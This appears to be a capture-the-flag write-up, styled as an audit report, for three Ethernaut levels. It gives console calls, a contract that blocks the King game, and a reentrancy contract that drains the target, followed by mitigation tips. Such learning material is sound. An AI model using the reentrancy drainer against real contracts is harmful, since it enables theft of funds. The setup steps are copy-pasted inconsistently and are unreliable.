Ethernaut Audit Report

Version 1.0

0xBlockPay

September 26, 2024

Ethernaut Audit Report

0xBlockPay

September 30, 2024

Prepared by: 0xBlockPay Lead Security Reserchер: - eth0x

Table of Contents

Protocol Summary

The Ethernaut competition is a Capture The Flag (CTF) event focused on blockchain security. Participants, either as individuals or teams, solve a series of challenges to compete on a scoreboard. The challenges are inspired by the Ethernaut wargame, which is designed for learning about blockchain security12

Disclaimer

The 0xBlockPay team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Competition Details

Competition available at the following link.

```
https://ethernaut.openzeppelin.com/
```

Findings

1. Hello Ethernaut

Goal

The main goal of this competition is to find the hidden password within the smart contract.

Set Up Metamask:

Install the Metamask extension in your browser and create a new wallet if you don't have one. Connect to Rinkeby Test Network: Switch your Metamask to the Holesky test network.

Open the Ethernaut Game:

Go to the Ethernaut website and start the "Hello Ethernaut" level. Interact with the Contract: Open the browser console (`usually by pressing F12`) and interact with the contract. The goal is to call the `info()` function of the contract.

Solution

A great starting point is to examine the `contract.abi()`. Thanks to this, it's possible to reach the solution much faster than the functions described below.

```
await contarct.info();
await contract.info1();
await contract.info2("hello");
await contract.infoNum().then(v => v.toString());
await contract.info42();
await contract.theMethodName();
await contract.method7123949();
await contract.password();
await contract.authenticate('ethernaut0');
```

Submit the Instance:

Once you successfully call the function and get the correct output, submit your instance to complete the level.

9. King

Goal

The contract below represents a very simple game: whoever sends it an amount of ether that is larger than the current prize becomes the new king. On such an event, the overthrown king gets paid the new prize, making a bit of ether in the process! As ponzi as it gets xD

Such a fun game. Your goal is to break it.

Set Up Metamask:

Install the Metamask extension in your browser and create a new wallet if you don't have one. Connect to Rinkeby Test Network: Switch your Metamask to the Holesky test network.

Open the Ethernaut Game:

Go to the Ethernaut website and start the "Hello Ethernaut" level. Interact with the Contract: Open the browser console (`usually by pressing F12`) and interact with the contract. The goal is to call the `info()` function of the contract.

Solution

To break the protocol, we need to use a very simple contract.

```
pragma solidity ^0.8.0;

contract TheAgeOfKings{
    constructor(address _king) payable {
        (bool s,) = _king.call{value: msg.value}("");
```

```
    }
}
```

During the deployment process, it is necessary to send some funds, e.g., 1,000,000 wei.

Submit the Instance:

Once you successfully call the function and get the correct output, submit your instance to complete the level.

10. Re-entrancy

Goal

The goal of this level is for you to steal all the funds from the contract. Your goal is to break it.

Set Up Metamask:

Install the Metamask extension in your browser and create a new wallet if you don't have one. Connect to Rinkeby Test Network: Switch your Metamask to the Holesky test network.

Open the Ethernaut Game:

Go to the Ethernaut website and start the "Hello Ethernaut" level. Interact with the Contract: Open the browser console (`usually by pressing F12`) and interact with the contract. The goal is to call the `info()` function of the contract.

Solution

To break the protocol, we need to use the contract below.

```
pragma solidity ^0.8.0;

interface IReentrance {
   function donate(address) external payable;
   function withdraw(uint256) external;
}

contract ReenterToNarinia {
    IReentrance target;

    constructor(address payable _target) {
        target = IReentrance(_target);
    }

    function donate() external payable {
        target.donate{value: msg.value}(address(this));
    }

```

```
19      function attack() external {
20          target.withdraw(0.001 ether);
21      }
22
23      receive() external payable {
24          if(address(target).balance >0) {
25              target.withdraw(0.001 ether);
26          }
27      }
28
29      function withdraw() external {
30          msg.sender.call{value: address(this).balance}("");
31      }
32  }
```

1. Deploy contract
2. Call `donate` function with 0.001 eth
3. Call `attack`
4. Call `withdraw`

Submit the Instance:

Once you successfully call the function and get the correct output, submit your instance to complete the level.

Mitigation

As a result, we have a wealth of valid information to prevent reentrancy attacks.

- when moving founds out of contract use the Check-Effect-Interaction pattern
- also good solutions are ReentrancyGuard or PullPayment
- please not use `transfer` and `send` after `Instanbul` hard fork they can potentiali break contarcts Reentrancy-After-Istanbul.
- prevent DAO hack DAO